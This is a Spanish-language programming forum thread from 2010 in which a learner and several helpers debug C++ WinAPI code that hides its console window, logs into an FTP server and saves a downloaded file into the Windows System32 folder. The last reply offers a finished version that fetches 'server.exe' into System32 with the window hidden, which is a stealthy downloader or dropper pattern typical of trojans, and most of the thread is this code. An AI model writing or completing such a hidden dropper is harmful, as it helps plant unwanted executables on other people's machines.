Página 1 de 2

[duda]ftp en c++

Publicado: 09 Nov 2010, 12:13
por winnipu
Hola a todos, es mi primer mensaje, estoy aprendiendo c++ y vereis estoy intentando acceder a mi ftp con un programa en c++ y bajarme un archivo a la carpeta system32. El problema es que algo falla en la ruta porque si en vez de %systemroot% en LARCHIVO pongo c: si que me lo descarga. Me da que tiene que ver algo con %SYSTEMROOT% y el tema de las variables de entorno. He intentado usando getenv("SystemRoot") y tambien he leido que se podria hacer con strcat. Os pego el codigo a ver si alguien puede arrojar algo de luz en el asunto:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>

#define RARCHIVO "index.html"
#define LARCHIVO "%SYSTEMROOT%\\system32\\index.html"

int main()
{
  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "cosas", "xxxxxxxxx", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, LARCHIVO, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);
  
return 0;
}

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 16:13
por winnipu
Otra opcion que se me ha ocurrido pero que no me compila ni con dev ni con codeblocks porque falta la libreria urlmon.h y no se si solo funciona con visual c++ o que, para hacer lo mismo es esta:

Código: Seleccionar todo

#include <urlmon.h>

int main(){
URLDownloadToFile( 0 , "http:\\usuarios.hispa.es\index.html" , "%SYSTEMROOT%\\system32\\index.html" ,  0 , 0)
return 0;
}

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 17:08
por FroZenFeW
usa strcat para crear el path donde quieres descargar el archivo

char* dir=getenv("windir"); //obtiene el path de windows
strcat(dir,"System32"); //agrega System32 al path queda por ejemplo c://windows/system32
strcat(ruta,RARCHIVO); // c://windows/system32/index.html


y hay si te deberia funcionar

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 17:46
por winnipu
Gracias FroZenFeW pero me tira un warning:

Te pego code:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>

#define RARCHIVO "index.html"

int main()
{
  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"System32"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "cosas", "xxxxxxxxx", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);
 
return 0;
}
Y el warning que tira es este:
C:\Dev-Cpp\main.cpp In function `int main()':
17 C:\Dev-Cpp\main.cpp [Warning] passing NULL used for non-pointer converting 4 of `BOOL FtpGetFileA(void*, const CHAR*, const CHAR*, BOOL, DWORD, DWORD, DWORD)'

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 18:45
por FroZenFeW
winnipu escribió:Gracias FroZenFeW pero me tira un warning:

Te pego code:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>

#define RARCHIVO "index.html"

int main()
{
  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"System32"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "cosas", "xxxxxxxxx", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);
 
return 0;
}
Y el warning que tira es este:
C:\Dev-Cpp\main.cpp In function `int main()':
17 C:\Dev-Cpp\main.cpp [Warning] passing NULL used for non-pointer converting 4 of `BOOL FtpGetFileA(void*, const CHAR*, const CHAR*, BOOL, DWORD, DWORD, DWORD)'

FtpGetFile(hServer, RARCHIVO, dir, (int)NULL, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
FtpGetFile(hServer, RARCHIVO, dir,0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 19:01
por winnipu
Ya no da error, gracias. Pero... ahora me crea en la ruta c: (no dentro de system32) un archivo que es el index.html pero renombrado a: WINDOWSSystem32index.html
Suena a brujas. XD. Que hemos hecho mal (la concatenacion, pero no se porque falla asi).

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 19:06
por linkgl
Te falta declarar la libreria string.h para usar strcat, no?

Y te lo crea asi porque solo concactenas las puras strings contactena tambien las barras \\ y listo te tiene que quedar asi:

Código: Seleccionar todo

  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 19:11
por FroZenFeW
jaja se me olvidaron las barras xD
lo de strcat pues en dev no es necesario incluir la libreria pues ya vienen por default en vs si

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 19:14
por linkgl
FroZenFeW escribió: lo de strcat pues en dev no es necesario incluir la libreria pues ya vienen por default en vs si
No sabía bueno esque ando compilando en gcc aca sí me lo pedía je

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 19:27
por FroZenFeW
un beso en la cola para vos linkgl y para vos winnipu


Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 19:30
por winnipu
umm pues es raro ahora al compilar todo perfecto, pero cuando ejecuto me da error y se me cierra el programa. Pone que el programa detecto un error y debe cerrarse. Y me lo guarda en windows pero con el nombre de system32index.html. Con lo cual voy a probar a poner las dos barras al final.

PASADOS CINCO MINUTOS: Las dos barras funcionan, me descarga el programa en la ruta correcta y parece que se descarga correctamente, si bien sigue dando un mensaje de error el programa pasados unos segundos. No entiendo porque da ese error y falla, y ademas salta el firewall de xp al principio pidiendo permiso para desbloquear el programa. XD

Re: [duda]ftp en c++

Publicado: 09 Nov 2010, 22:43
por winnipu
A ver os pego el codigo que compila bien, pero da un error grave despues de ejecutarse. Esto es para nota, a ver si alguien encuentra a que es debido:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>
#include <string.h>

#define RARCHIVO "index.html"

int main()
{
  char* dir=getenv("windir"); //obtiene el path de windows
  strcat(dir,"\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir,RARCHIVO); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}

Re: [duda]ftp en c++

Publicado: 11 Nov 2010, 08:56
por winnipu
Como el programa lo que estaa produciendo era un buffer overflow, ya que no manejo bien strcat, decidi usar strncat, y ahora no hay buffer overflow, pero en cambio lo que sucede es que no descarga el archivo en su ruta. Os pego el codigo a ver si alguien puede echar una mano:

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>
#include <string.h>

#define RARCHIVO "index.html"

int main()
{
  char dir[100];
  strncat(dir, getenv("windir"), 15); //obtiene el path de windows
  strncat(dir, "\\System32\\", 15); //agrega System32 al path queda por ejemplo c://windows/system32
  strncat(dir, RARCHIVO, 15); // c://windows/system32/index.html

  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "ftp.usuarios.hispa.es", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}


Re: [duda]ftp en c++

Publicado: 12 Nov 2010, 05:09
por linkgl
No es necesario usar strncat xD usa strcat solo que estas dando demasiado espacio a la variable usa un 80 o 90 y con eso quedandote así:

Código: Seleccionar todo

  char dir[90];

  strcat(dir, getenv("windir")); //obtiene el path de windows

  strcat(dir, "\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
Y ya lo demás como lo tenías ;) es cosa de que te pongas a debuggear con printf y la variable dir

Re: [duda]ftp en c++

Publicado: 13 Nov 2010, 00:40
por osnaraus
No te olvides de inicializar el array dir.
Aca te dejo el code funcionando 100 %
compilado con dev c++
Importante linkear "-lwininet"

Código: Seleccionar todo

#include <windows.h>
#include <wininet.h>
#include <string.h>


#define RARCHIVO "server.exe"

int main()
{
  char dir[90]="";
  strcat(dir, getenv("windir")); //obtiene el path de windows
  strcat(dir, "\\System32\\"); //agrega System32 al path queda por ejemplo c://windows/system32
  strcat(dir, RARCHIVO); // c://windows/system32/server.exe
   
  HINTERNET hInternet, hServer;
  ShowWindow(GetForegroundWindow(),SW_HIDE);
  hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
  hServer = InternetConnect(hInternet, "direccionFtp", INTERNET_DEFAULT_FTP_PORT, "user", "pass", INTERNET_SERVICE_FTP, 0, 0);
  FtpGetFile(hServer, RARCHIVO, dir, 0, FILE_ATTRIBUTE_NORMAL, FTP_TRANSFER_TYPE_BINARY, 0);
  InternetCloseHandle(hInternet);
  InternetCloseHandle(hServer);

return 0;
}
Saludos